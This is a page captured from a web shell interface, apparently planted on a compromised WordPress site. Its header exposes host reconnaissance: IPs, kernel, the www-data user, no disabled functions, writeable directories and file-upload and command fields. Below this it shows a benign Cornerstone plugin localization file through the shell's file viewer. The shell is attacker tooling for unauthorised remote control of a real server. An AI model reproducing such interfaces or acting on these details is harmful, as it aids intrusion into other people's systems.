403Webshell
Server IP : 172.67.159.97  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/integration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/integration/localization.php
<?php

// Register Localization DC
add_action('cs_dynamic_content_setup', function() {
  // Register group
  cornerstone_dynamic_content_register_group([
    'name'  => 'localization',
    'label' => __( 'Localization', 'cornerstone' ),
  ]);

  // Locale
  cornerstone_dynamic_content_register_field([
    'name'  => 'locale',
    'group' => 'localization',
    'type' => 'scalar',
    'label' => __( 'Locale', 'cornerstone' ),
  ]);

  // User Locale
  cornerstone_dynamic_content_register_field([
    'name'  => 'user_locale',
    'group' => 'localization',
    'type' => 'scalar',
    'label' => __( 'User Locale', 'cornerstone' ),
  ]);

}, 220);

add_filter( 'cs_dynamic_content_localization', function($result, $field, $args = []) {

  switch ($field) {
    case 'locale':
      $result = get_locale();
      break;
    case 'user_locale':
      $result = get_user_locale(wp_get_current_user());
      break;
  }

  return $result;

}, 10, 3 );


function cs_localization_generate_locale_choices($options = []) {
  // Setup of language select
  require_once ABSPATH . 'wp-admin/includes/translation-install.php';
  $translations = wp_get_available_translations();

  $placeholder = cs_get_array_value($options, 'placeholder', __('Select a Language', 'cornerstone'));


  $availableLanguages = array_unique(
    array_merge(
      [ get_locale() ],
      get_available_languages()
    )
  );

  $languageChoices = [
    [
      'value' => '',
      'label' => $placeholder,
    ]
  ];

  foreach ($availableLanguages as $locale) {
    // This isn't stored in wp_get_available_translations
    if ($locale === 'en_US') {
      $languageChoices[] = [
        'value' => $locale,
        'label' => __('English', 'cornerstone'),
      ];
      continue;
    }

    // Not found or valid locale
    if (empty($translations[$locale])) {
      continue;
    }

    $lang = $translations[$locale];

    $languageChoices[] = [
      'value' => $locale,
      'label' => $lang['english_name'] . ' (' . $lang['native_name'] . ')',
    ];
  }

  return $languageChoices;
}

// Conditions
add_filter( 'cs_condition_contexts', function($contexts) {

  $languageChoices = cs_localization_generate_locale_choices();

  // Add group label
  $contexts['labels']['localization'] = __( 'Localization', 'cornerstone' );

  // Add controls
  $contexts['controls']['localization'] = [
    [
      'key'   => 'localization:locale',
      'label' => __('Locale', 'cornerstone'),
      'toggle' => [
        'type'   => 'boolean',
        'labels' => [
          csi18n('app.conditions.is'),
          csi18n('app.conditions.is-not'),
        ]
      ],
      'criteria' => [
        'type'    => 'select',
        'choices' => $languageChoices,
      ],
    ],

    [
      'key'   => 'localization:user-locale',
      'label' => __('User Locale', 'cornerstone'),
      'toggle' => [
        'type'   => 'boolean',
        'labels' => [
          csi18n('app.conditions.is'),
          csi18n('app.conditions.is-not'),
        ]
      ],
      'criteria' => [
        'type'    => 'select',
        'choices' => $languageChoices,
      ],
    ]
  ];

  return $contexts;
});

// Condition Rule `localization:locale`
add_filter('cs_condition_rule_localization_locale', function($result = false, $args = []) {
  // Return boolean for passed or not
  return $args[0] === get_locale();
}, 0, 2);

add_filter('cs_condition_rule_localization_user_locale', function($result = false, $args = []) {
  // Return boolean for passed or not
  return $args[0] === get_user_locale(wp_get_current_user());
}, 0, 2);

// Add our group the valid global assignments
add_filter('cs_assignment_global_contexts', function($contexts = []) {
  $contexts[] = 'localization';
  return $contexts;
});

// Dynamic option: list of installed WordPress locales (used by Flatpickr locale select)
add_action('cs_dynamic_content_register', function() {
  cs_dynamic_content_register_dynamic_option('locale', [
    'filter' => function($results, $args) {
      return cs_localization_generate_locale_choices([
        'placeholder' => __('User Locale', 'cornerstone'),
      ]);
    },
  ]);
});

Youez - 2016 - github.com/yon3zu
LinuXploit